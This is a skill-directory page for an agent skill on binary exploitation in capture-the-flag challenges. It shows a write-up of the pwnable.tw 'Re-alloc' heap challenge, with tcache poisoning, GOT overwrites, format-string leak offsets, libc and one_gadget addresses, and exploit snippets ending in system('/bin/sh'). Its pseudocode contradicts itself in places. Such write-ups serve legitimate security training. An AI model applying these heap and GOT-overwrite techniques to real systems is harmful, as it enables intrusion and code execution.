Index of every page on this site: llms.txt
All skills
ljagiello avatar

/ctf-pwn

@20d182d
by Lukasz Jagielloljagiello/ctf-skills3.8k stars
447
Run it yourself

Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.

Use this Skill: https://skilld.dev/gh/ljagiello/ctf-skills/ctf-pwn

Nothing lands on disk. Nothing to clean up.

Fork this Skill

Edit a local copy. It keeps the author and licence.

pwnable-twre_alloc.md

≈3k tokens on demand. Your agent reads this file only when SKILL.md points to it.

Re-alloc — pwnable.tw (200 pts)

← Back to pwnable.tw Challenge Index

nc chall.pwnable.tw 10106

Challenge Overview

A heap menu challenge (x86-64, Partial RELRO, NX, Stack Canary, No PIE, FORTIFY) built against glibc 2.29. The program provides allocate, reallocate, and free operations on two heap slots (heap[0] and heap[1]), using realloc() as the core allocator. The key insight is that realloc(ptr, 0) is equivalent to free(ptr) in glibc 2.29, but the program does not clear the pointer from the heap table — creating a Use-After-Free.

checksec:
  Arch:     amd64-64-little
  RELRO:    Partial RELRO        # GOT writable
  Stack:    Canary found
  NX:       NX enabled
  PIE:      No PIE (0x400000)
  FORTIFY:  Enabled

Program Logic (Pseudocode)

void *heap[2];  // global pointer table at 0x4040B0

void allocate() {
    int idx = read_long();           // idx must be 0 or 1
    if (heap[idx]) { puts("..."); return; }
    long size = read_long();
    heap[idx] = realloc(NULL, size); // equivalent to malloc(size)
    read_input(heap[idx], size);     // read_input has off-by-null
}

void reallocate() {
    int idx = read_long();
    if (!heap[idx]) { puts("..."); return; }
    long size = read_long();
    heap[idx] = realloc(heap[idx], size);  // size=0 → free, but ptr stays!
    if (heap[idx])
        read_input(heap[idx], size);
}

void rfree() {
    int idx = read_long();
    if (!heap[idx]) { puts("..."); return; }
    realloc(heap[idx], 0);   // free, BUT heap[idx] NOT cleared!
    heap[idx] = NULL;        // ... wait, it IS cleared here
}

// read_long uses __read_chk → atoll(buf) to parse integers

Vulnerabilities

V1 — Use-After-Free via realloc(ptr, 0) in Reallocate

Root Cause: In glibc 2.29, realloc(ptr, 0) frees the chunk and returns NULL. In reallocate(), the return value (NULL) is stored back into heap[idx], zeroing the slot. However, rfree() also calls realloc(ptr, 0) — the crucial difference is that reallocate() can be called again on the same index because after the free, heap[idx] = NULL, and a subsequent realloc(NULL, new_size) is equivalent to malloc(new_size).

The UAF arises from this sequence:

alloc(0, 0x18, "AAAA")       // heap[0] = chunk_A
realloc(0, 0)                 // free(chunk_A), heap[0] = NULL
                              // chunk_A is now in tcache[0x20]
realloc(0, 0x18, payload)    // realloc(NULL, 0x18) = malloc(0x18)
                              // returns chunk_A (from tcache)
                              // heap[0] = chunk_A again
                              // payload overwrites tcache fd pointer

Since alloc checks if (heap[idx]) to prevent double-allocation, but realloc(0,0) clears heap[idx], you can effectively free a chunk while another slot still references the same memory (via careful slot juggling), achieving a classic tcache poisoning UAF.

Impact: Arbitrary write via tcache fd pointer corruption → write to any address (e.g., GOT entries).

V2 — atoll GOT is Writable (Partial RELRO + No PIE)

Root Cause: With Partial RELRO and no PIE, the GOT is at fixed known addresses. The read_long() function calls atoll() to convert user input strings to integers. By overwriting atoll@GOT with printf@PLT, every subsequent read_long() call becomes printf(user_input) — turning integer inputs into format string attacks.

Key GOT/PLT addresses (fixed, no PIE):
  atoll@GOT   = 0x404048
  printf@PLT  = 0x401070
  realloc@GOT = 0x404058
  heap table  = 0x4040B0

V3 — Off-by-Null in read_input (Minor)

The read_input function null-terminates at buf[size], writing one byte past the allocated region. This is generally not needed for the primary exploit but noted by some solvers.

Exploit Paths

All solutions follow a two-phase strategy: (1) use tcache poisoning to overwrite GOT, (2) leverage the GOT overwrite for leaks and shell.


Path A — Tcache Poison → atoll@GOT = printf → Format String Leak → atoll@GOT = system → system("/bin/sh")

Used by: ~90% of solutions (1006, 1832, 16991, 17048, 17704, 18324, 18331, 18416, 19131, 21490, 21778, 22377, 25572, 26467, 28302, exp.py)

Phase 1: Tcache Poisoning to Overwrite atoll@GOT

  1. Allocate a chunk on slot 0, free it via realloc(0, 0), then realloc(0, same_size, p64(atoll_got)) to overwrite the tcache fd pointer with atoll@GOT.
  2. Allocate on slot 1 to consume the original chunk from tcache.
  3. Clean up both slots (realloc to different sizes + free to move chunks to other bins).
  4. Now tcache for that size class has atoll@GOT as the next entry.
  5. Allocate again — the second allocation from this tcache returns a pointer to atoll@GOT.
  6. Write printf@PLT (0x401070) to atoll@GOT.

Many solutions repeat this for two different size classes (e.g., 0x20 and 0x50 tcache bins) to have a clean second overwrite available later.

Phase 2: Format String Leak

With atoll@GOT pointing to printf, every read_long() call now executes printf(user_input):

# Trigger printf as "atoll" — leak libc via format string
free("%3$p")       # printf("%3$p") leaks a stack value
# or
free("%21$p")      # leaks __libc_start_main return address
# or
free("%23$p")      # another common offset for libc leak

Common leak offsets from the stack:

  • %3$p → __read_chk return (offset 0x12e009 from libc base)
  • %21$p / %23$p → __libc_start_main+235 (offset 0x26b6b from libc base)
  • %9$s + GOT address → arbitrary read via %s format

Phase 3: Overwrite atoll@GOT with system

After leaking libc, overwrite atoll@GOT again with system():

# Since atoll is now printf, we need to carefully craft inputs
# that make printf return the right values for idx/size
alloc("", "%88c", p64(libc.sym['system']))  # or similar trick

The tricky part: printf is now the index/size parser, so its return value (number of chars printed) becomes the parsed integer. Solvers use format strings of specific lengths to control the "index" and "size" values.

Phase 4: Shell

# Any call to read_long() with "/bin/sh" now calls system("/bin/sh")
free("/bin/sh")   # → system("/bin/sh")

Path B — Tcache Poison → realloc@GOT = printf → Format String → ROP

Used by: Solutions 1006 (variant), 27939

Instead of overwriting atoll@GOT, overwrite realloc@GOT with printf@PLT. This makes every reallocate() call a format string attack, but requires more complex control flow since realloc is called with the heap pointer as the first argument (acting as the format string).

Some solutions overwrite realloc@GOT with atoll@PLT (making realloc return a pointer based on the ASCII content at the heap address), enabling creative GOT pivoting.

One advanced variant (27939) uses this to pivot the stack via leave; ret gadgets and execute a full ROP chain.


Path C — Tcache Poison → GOT Overwrite → __malloc_hook = one_gadget

Used by: Solutions 18331, 18324

After the initial atoll → printf overwrite, use %n format string writes to overwrite __malloc_hook with a one_gadget address. This avoids needing a second tcache poison:

# Use %hn writes to set __malloc_hook byte-by-byte
free("%{}c%{}$hn".format(low_2bytes, offset))   # write 2 bytes at a time

Then trigger malloc to jump to the one_gadget.


Path D — atoll → printf + %n to Clear Heap Table → Second Tcache Poison

Used by: exp.py (provided exploit)

  1. First tcache poison: atoll@GOT = printf@PLT.
  2. Use printf("%9$n", ...) format strings to zero out the heap[0]/heap[1] table entries and tcache metadata, resetting the allocator state.
  3. Perform a second tcache poison (now with printf as atoll, using raw bytes for index/size).
  4. Overwrite atoll@GOT with system.
  5. free("/bin/sh") → system("/bin/sh").

This approach is more complex but fully deterministic since it doesn't rely on printf return value tricks.

Exploit Primitive Summary

Primitive Source Reliability
Use-After-Free V1: realloc(ptr, 0) in reallocate Deterministic
Tcache fd poisoning UAF → overwrite freed chunk's fd Deterministic
Arbitrary GOT write Tcache returns pointer to GOT Deterministic (no PIE)
Format string (leak) atoll@GOT = printf → printf(user_input) Deterministic
Format string (write) %n / %hn writes via printf Deterministic
Code execution atoll@GOT = system → system("/bin/sh") Deterministic

Key Addresses (No PIE)

# Binary (fixed)
atoll_got    = 0x404048
printf_plt   = 0x401070
printf_got   = 0x404038
realloc_got  = 0x404058
alarm_got    = 0x404040
heap_table   = 0x4040B0   # heap[0], heap[1]

# Libc offsets (glibc 2.29, pwnable.tw)
__libc_start_main = 0x26B6B   # offset for %21$p leak
__read_chk_ret    = 0x12E009  # offset for %3$p leak
system            = 0x52FD0
__malloc_hook     = 0x1E4C30
__free_hook       = 0x1E6E48
one_gadgets       = [0xE6E73, 0xE6E76, 0xE6E79, 0x106EF8]

Solution Write-ups

File Primary Path Key Technique Notes
1006.md A tcache poison → printf → one_gadget via realloc GOT Uses GOT table as format string buffer
1763.md — "Same exploit with re-alloc-revenge" Reference only
1832.md A tcache poison → printf leak → system Clean approach with %15$p leak
16609.md A prepare() helper for clean tcache state Well-structured helper functions
16991.md A Two-bin tcache poison + %9$s GOT read Reads GOT entries directly via %s
17048.md B Overwrites alarm/atoll/signal/realloc GOT simultaneously Creative multi-GOT overwrite
17704.md A atoll → printf, %15$p leak, system overwrite Compact; overwrites realloc GOT to regain control
18324.md A+C %n format writes to __malloc_hook Byte-by-byte one_gadget write
18331.md A Concise vuln analysis + exploit Notes off-by-null and UAF
18416.md A Two-size-class tcache poison Double tcache attack for 0x20 and 0x50 bins
19131.md A %9$s to read GOT, then system Direct GOT leak via format string
21490.md A Standard approach Clear code
21778.md A Notes "preparation" difficulty Honest about copying the tcache setup
22377.md A Two-bin poison (0x30 + 0x60) %3$p leak at offset 0x12e009
25572.md A Stack leak enumeration loop Scans all stack offsets to find libc
26467.md A %p chain leak, %15c for size control Minimal approach
27939.md B GOT pivot + stack pivot + ROP chain Most complex; full ROP via leave/ret
28302.md A Format string GOT overwrite + %n Detailed stack offset analysis
exp.py D %n to clear state → second tcache poison Most robust; fully deterministic

Files

File Description
exp.py Working exploit script (tcache poison + fmt string + second poison)
desc.txt Challenge description
artifacts/re-alloc Challenge binary (x86-64, glibc 2.29)
solution/*.md Community write-ups (83 solutions)

Source: SKILL.md on GitHub

skilld matched fixed text patterns in SKILL.md and file names. Patterns miss obfuscated code.

skilld run checks every file with the same patterns. It asks for approval before it loads a Skill with a behavior marked Needs approval.

2 alerts26d5 checks · Risk SAFE
  • Gen Agent Trust Hub26d

    This skill is an extensive reference library and toolset for binary exploitation in CTF (Capture The Flag) competitions. It provides detailed documentation, scripts, and techniques for a wide range of vulnerabilities, including heap corruption, stack overflows, and kernel exploits. All recommended tool installations and script operations are standard for security research and are appropriately scoped to its educational purpose.

  • Socket26d

    26 alerts: gptSecurity, gptAnomaly, gptMalware

  • Snyk26d

    Risk: LOW · No issues

  • Runlayer8mo

    7/7 files flagged

  • ZeroLeaks7mo

    Score: 93/100 · 2 sections analyzed

Signed by skilld at 20d182d. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub last week.

Activeupdated 4 weeks ago
metadata
{
  "user-invocable": "false",
  "author": "Lukasz Jagiello"
}
All 1 allowed tools
Bash Read Write Edit Glob Grep Task WebFetch WebSearch
Other metadata
compatibility
Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
  • binary-exploitation
  • ctf
  • rop
  • shellcode
  • heap
  • pwn
  • gdb
  • pwntools
  • kernel
  • seccomp

README badge

README badge for ljagiello/ctf-skills/ctf-pwn

Provides binary exploitation techniques for CTF challenges targeting memory corruption and low-level primitives like buffer overflows, format strings, heap bugs, ROP chains, and kernel exploits. Includes detailed references for ret2libc, ret2csu, SROP, seccomp bypass, heap techniques (House of Apple, tcache poisoning), FILE structure exploitation, and Windows/Linux privilege escalation — but assumes the vulnerable binary is already identified and does not cover reverse engineering or standalone crypto challenges.

Generated from the current SKILL.md.

Does this skill cover heap exploitation?
Yes. The skill includes techniques for House of Apple 2, House of Einherjar, tcache poisoning, FILE structure exploitation, and UAF attacks across glibc and custom allocators.
What platforms and architectures does this support?
Linux (x86, x86_64, ARM) and Windows (SEH-based exploits). macOS is supported for development tools but target exploitation assumes Linux or Windows binaries.
Does this cover kernel exploitation?
Yes. The skill includes kernel ROP, tty_struct heap spray, KASLR/KPTI/SMEP bypass, modprobe_path overwrite, and privilege escalation via ret2usr and kernel memory corruption.
When should I use this skill instead of reverse engineering?
Use this skill when you already understand what the binary does and need to convert a known vulnerability (buffer overflow, format string, UAF, etc.) into code execution. Switch to reverse engineering first if the main blocker is understanding the binary's purpose or control flow.
Does this skill handle web bugs or cryptographic challenges?
No. The skill excludes pure web bugs, disk/packet forensics, and standalone crypto/math challenges. Use ctf-web or ctf-crypto for those domains instead.

Generated from the current SKILL.md. These answers refresh after source changes.